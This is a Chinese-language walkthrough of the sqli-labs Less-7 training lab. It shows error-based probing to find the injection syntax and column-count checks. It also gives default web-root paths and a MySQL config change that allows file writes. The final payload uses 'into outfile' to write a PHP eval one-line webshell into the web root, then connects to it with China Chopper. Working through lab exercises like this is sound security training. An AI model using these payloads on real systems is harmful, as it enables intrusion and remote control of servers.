1.先判断注入类型
(1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1
(2)再输入:?id=1 and 1=1
(3)输入:?id=1 and 1=2
因为(2)(3)没有变化,所以不是数字型
(4)输入:?id=1'
有错误,说明是字符型的
(5)加上--+,我们再输入:?id=1' --+
发现还是错误,我们加一个括号试试
(6)输入:?id=1') --+
还是有错误,我们再加一个括号试试
(7)输入:?id=1')) --+
页面正常,所以参数是:id=(('1'))
2..对列数进行判断
(1)输入?id=1')) order by 3 --+
(2)输入?id=1')) order by 4 --+
3正常,4错误,说明是3列
3.因为正确时提示“outfile”,所以我们需要文加导出
这里插个小扩展:
winserver的iis默认路径c:Inetpubwwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就.../var/www/htm,.../var/www/html/htdocs
phpstudy 就是...PhpStudy20180211PHPTutorialWWW
xammp 就是...xampphtdocs
@@basedir 数据库存储路径
@@datadir 数据库安装路径
(1)找到数据库的存储路径,数据库的安装路径,输入:?id=1')) union select 1,@@basedir,@@datadir --+
尝试发现没有,不难发现是被过滤了
(2)在Less(2)中尝试,输入:?id=-1 union select 1,@@basedir,@@datadir --+
(3)因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下
①首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值
②因为是NULL,打开 C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv=“/”。
③重启PHP study,然后发现已经发现发生了改变,说明修改成功,就可以进行读写了
(4)一句话木马:一句木马有多个版本的,asp php的,这我们只用到php版本的一句话木马:
<?php @eval($_POST[“crow”]);?> 其中crow是密码
一句话木马大多配合中国菜刀使用,菜刀的使用可以参考:https://www.daixiaorui.com/read/17.html
用到的两个函数:load_file() 读取本地文件 into outfile 写文件 可以百度函数用法,提示路径需要用双斜线
?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]); ?>' into outfile "C:\phpstudy\PHPTutorial\WWW\sqli-labs-master\Less-7\ttt.php" --+
虽然依然显示报错,但是我们发现路径下已经存在了我们想要的文件
(5)注意一句话木马里面的引号里面的就是密码,我们用中国菜刀进行连接:
然后我们就连接成功了 可以进行文件管理